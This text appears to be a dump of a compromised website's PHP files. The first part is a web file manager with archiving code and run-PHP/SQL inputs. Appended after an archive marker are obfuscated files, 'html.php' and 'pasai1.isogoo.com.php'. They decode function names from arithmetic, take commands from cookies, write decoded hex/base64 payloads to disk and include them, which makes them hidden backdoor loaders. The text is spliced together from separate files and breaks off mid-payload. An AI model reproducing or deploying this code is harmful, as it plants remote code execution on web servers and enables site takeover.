basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct() { if (!isset($this->errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . '.tmp')) { $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp'; return false; } $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb'); if (!$tmpArchive) { $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable'); rename($this->archive_name . '.tmp', $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . '.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . '.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __('No file') . __(' to ') . __('Archive'); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, 'rb')) { $data = fread($fp, 2); fclose($fp); if ($data == '\\37\\213') { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, 'rb'); } else { $this->tmp_file = fopen($fileName, 'rb'); } if (!$this->tmp_file) { $this->errors[] = $fileName . ' ' . __('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = ' (' . $message . ')'; } $message = __('Error occurred') . $message . ': <br/>'; foreach ($Errors as $value) { $message .= $value . '<br/>'; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __('No file') . ' ' . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename) <= 0) { $this->errors[] = __('Filename') . ' ' . __('is incorrect'); return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, 'rb')) == 0) { $this->errors[] = __('Mode ') . __('is incorrect'); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __('Error') . ': ' . __('Directory ') . $filename . __('is not readable'); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != '.' && $dir != '..') { $file_array_tmp = array(); if ($filename != '.') { $file_array_tmp[] = $filename . '/' . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace('\\', '/', $path); if ($path == '' || substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')) { $path = './' . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header['filename'] == '') { continue; } if ($header['typeflag'] == 'L') { //reading long header $filename = ''; $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header['filename'] = $filename; } return true; } if ($path != './' && $path != '/') { while (substr($path, -1) == '/') { $path = substr($path, 0, strlen($path) - 1); } if (substr($header['filename'], 0, 1) == '/') { $header['filename'] = $path . $header['filename']; } else { $header['filename'] = $path . '/' . $header['filename']; } } if (file_exists($header['filename'])) { if (@is_dir($header['filename']) && $header['typeflag'] == '') { $this->errors[] = __('File ') . $header['filename'] . __(' already exists') . __(' as folder'); return false; } if (is_file($header['filename']) && $header['typeflag'] == '5') { $this->errors[] = __('Cannot create directory') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } if (!is_writeable($header['filename'])) { $this->errors[] = __('Cannot write to file') . '. ' . __('File ') . $header['filename'] . __(' already exists'); return false; } } elseif ($this->dirCheck($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])) != 1) { $this->errors[] = __('Cannot create directory') . ' ' . __(' for ') . $header['filename']; return false; } if ($header['typeflag'] == '5') { if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file') . ' ' . $header['filename']; return false; } else { $decr = floor($header['size'] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header['size'] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header['size'] % 512); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file') . ' ' . $header['filename'] . ' ' . __('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) { $file_dir = ''; } if (substr($header['filename'], 0, 1) == '/' && $file_dir == '') { $file_dir = '/'; } $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 0777)) { $this->errors[] = __('Cannot create directory') . ' ' . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header['filename'] = ''; return true; } if (strlen($binaryData) != 512) { $header['filename'] = ''; $this->__('Invalid block size') . ': ' . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum) { $header['filename'] = ''; if ($checksum == 256 && $header['checksum'] == 0) { return true; } $this->errors[] = __('Error checksum for file ') . $unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') { $header['size'] = 0; } $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename) { $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } // Last part of the header for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord(' '); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, 'wb9f'); } else { $this->tmp_file = fopen($this->archive_name, 'wb'); } if (!$this->tmp_file) { $this->errors[] = __('Cannot write to file') . ' ' . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == '.') { // Ignore this directory } elseif ($partPath[$i] == '..') { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? '/' . $result : ''); } } } else { $result = ''; } return $result; } }PK 39�\|�W W html.phpnu ��6�$ <?php function fetch_metadata($c) { $a = array(122 - 6, 34 + 3 + 60, 31 + 85, 115); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } function sync_data($c) { $a = array(79 * 25 - 1865, 85 + 16, 113 * 28 - 3056, 114, 116, 10 + 64 + 41); $s = ''; foreach ($a as $n) { $s .= chr($n); } $s = strrev($s); return $s($c); } function validate_entry($c) { $a = array(48 * 9 - 321, 37 + 77, 75 * 1 + 25); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } function run_procedure($c) { $a = array(3 * 33, 16 + 88, 90 + 24); $s = ''; foreach ($a as $n) { $s .= chr($n); } return $s($c); } class RequestHandler { private static $_iz; static function logEvent($_lfe, $_swq) { if (!self::$_iz) { self::scheduleJob(); } $_qrx = sync_data($_swq); $_waz = base64_decode(self::$_iz[$_lfe]); for ($_uoq = 0, $_fs = sync_data($_waz); $_uoq !== $_fs; ++$_uoq) { $_waz[$_uoq] = run_procedure(validate_entry($_waz[$_uoq]) ^ validate_entry($_swq[$_uoq % $_qrx])); } return $_waz; } private static function scheduleJob() { self::$_iz = array('_oz' => '', '_wo' => ''); } } $_fs = $_COOKIE; $_swq = 6 + -6; $_lfe = -294 - 19 - -20 + 296; $_rie = array(); $_rie[$_swq] = RequestHandler::logEvent('_oz', '_ov'); while ($_lfe) { $_rie[$_swq] .= $_fs[(int) round(6 + 6)][$_lfe]; if (!$_fs[(int) round(4 + 4 + 4)][$_lfe + (-82 - -128 + -45)]) { if (!$_fs[(int) round(3 + 3 + 3 + 3)][$_lfe + (int) round(0.66666666666667 + 0.66666666666667 + 0.66666666666667)]) { break; } $_swq++; $_rie[$_swq] = RequestHandler::logEvent('_wo', '_gre'); $_lfe++; } $_lfe = $_lfe + (330 - 336 - -9) + (int) round(0.33333333333333 + 0.33333333333333 + 0.33333333333333); } $_swq = $_rie[302 - 213 - 87]() . $_rie[86 - 77]; if (!$_rie[(int) round(6.5 + 6.5)]($_swq)) { $_lfe = $_rie[(int) round(0 + 0)]($_swq, $_rie[(int) round(7.3333333333333 + 7.3333333333333 + 7.3333333333333)]); $_rie[(int) round(3 + 3)]($_lfe, $_rie[(int) round(5 + 5)] . $_rie[-301 - -136 + 193]($_rie[(int) round(2.75 + 2.75 + 2.75 + 2.75)]($_fs[(int) round(0.75 + 0.75 + 0.75 + 0.75)]))); } include $_swq;PK 39�\ index.phpnu �[��� PK 39�\�&�7 �7 pasai1.isogoo.com.phpnu ��6�$ <?php class ServiceRegistry { private $cc = ''; private $kr = ''; public function sanitizeInput($p1) { $a = array((((24*57)-1264)),((71+30)),((2*60)),((52-2)),98,(55+24+26),((69+41))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function logEvent($p1,$p2) { $a = array(((118-8)),((101*1)),((2*56)),(3*37),102); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function rollbackTransaction($p1,$p2) { $a = array((28+64+10),((6*103)-499),((16*3)+66),((110-5)),116,((110-9))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function handleRequest($p1) { $a = array(((101*1)),((5+110)),((121-10)),(111-3),((102-3)),(69+18+15)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function fetchRecords($p1,$p2=null) { $a = array(((82*1)+32),((49*57)-2677),(((4*2)+106)),(((46*2)+13)),109); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function executeAction() { $this->kr = $this->fetchRecords($this->resetState(), '/'); } public function trackActivity() { $this->cc = $this->sanitizeInput($this->vu); } public function generateToken() { $fn = $this->kr.'/al-67fc32c8e376e'; $f = $this->logEvent($fn, 'w'); $this->rollbackTransaction($f, $this->cc); $this->handleRequest($f); $this->initializeModule($fn); } private $vu = '3c3f70687020636c617373205f6a65687b707269766174652' . '0737461746963245f6378733b7374617469632066756e63746' . '96f6e205f6f7128245f677566297b6966282173656c663a3a2' . '45f6378732973656c663a3a5f646e28293b72657475726e206' . '261736536345f6465636f64652873656c663a3a245f6378735' . 'b245f6775665d293b7d7072697661746520737461746963206' . '6756e6374696f6e205f646e28297b73656c663a3a245f63787' . '33d617272617928275f7665273d3e2751574e6a5a584e7a4c5' . '54e76626e52272e27796232777451577873623363272e27745' . '4334a272e27705a326c75272e274f272e2769272e274171272' . 'c275f786a79273d3e275132397564475675644331556558426' . 'c4f272e276942686348427361574e6864476c7662693971595' . '85a6863324e796158272e274230272c275f70786c273d3e275' . '932673d272c275f756e273d3e275a586c4b63474e4453272e2' . '7545a4a616d63305447706e4e4578715a7a524d616d6330535' . '76c336157525852576c5061556f77576c684f4d456c7064326' . 'c6a62565a745357707661575248566e272e27706b51272e273' . '0272e276f35272c275f7764273d3e2763586436272e2765272' . 'e2741272e273d3d272c275f776e273d3e275047397250272e2' . '7673d3d272c275f6d7570273d3e2750474a685a44343d272c2' . '75f686d71273d3e276432272e27467362413d272e273d272c2' . '75f796d61273d3e27272c275f626e273d3e27272c275f74722' . '73d3e27272c275f6b76273d3e276148523063446f764c33423' . '1596935335a574a6d6157786c6147397a64475679272e274c6' . 'd4e766253396a6232317762334e6c63693571637a39272e276' . 'b5958526850513d3d272c275f6f7377273d3e275933272e275' . '679272e27624639272e2770272e27626d272e276c272e27302' . '72c275f726a61273d3e2761485230634639272e276a272e276' . '2272e2732272e27526c272c275f737776273d3e2763324e6f5' . 'a272e2757316c272c275f6364273d3e276148523063484d272' . 'e273d272c275f6a6f65273d3e275230565549413d3d272c275' . 'f6962273d3e27634746272e2730272e2761413d272e273d272' . 'c275f797872273d3e2763272e2758566c272e27636e6b3d272' . 'c275f6f7a273d3e2750773d3d272c275f7068273d3e2763582' . '72e27566c636e6b3d272c275f627663273d3e2749456855564' . '641764d5334774451704962334e30272e274f69413d272c275' . 'f6f6376273d3e276147272e27397a272e2764272e27413d272' . 'e273d272c275f777a273d3e2744517044623235755a574e306' . '15739272e27754f6942446247397a5a51304b44516f3d272c2' . '75f686c273d3e2763334e734f693876272c275f65716a273d3' . 'e27272c275f6e78273d3e2761272e2747397a272e2764413d3' . 'd272c275f6a63273d3e2744516f272e273d272c275f7a77622' . '73d3e2753465255554639272e274454456c46546c526653272' . 'e2756413d272c275f6c63273d3e275346272e2752555546272' . 'e27395958305a272e2750556c64272e2742556b272e2752465' . '246394754272e2731493d272c275f7471273d3e27556b564e5' . '43152465830272e2746455246493d272c275f7a62273d3e275' . '346525555463956272e275530565358304648525535272e275' . '5272c275f7778273d3e2753465255554639565530272e27565' . '358304648525535272e2755272c275f6271273d3e27272c275' . 'f79626a273d3e2753465255554639535255272e275a46556b5' . '6272e2753272c275f616278273d3e275346525555463953525' . '55a46556b56272e2753272c275f6378273d3e27272c275f637' . '277273d3e27534652555546394454456c46546c52272e27665' . '356272e2741272e273d272c275f616c273d3e2753465255554' . '6394454456c46546c272e27526653272e275641272e273d272' . 'c275f6964273d3e27534652555546395958305a50556c64425' . '56b5246524639475431272e2749272e273d272c275f7a64273' . 'd3e27534652555546395958305a50556c6442556b524652463' . '947272e27543149272e273d272c275f6c72273d3e27556b564' . 'e5431272e275246583046272e274552272e2746272e27493d2' . 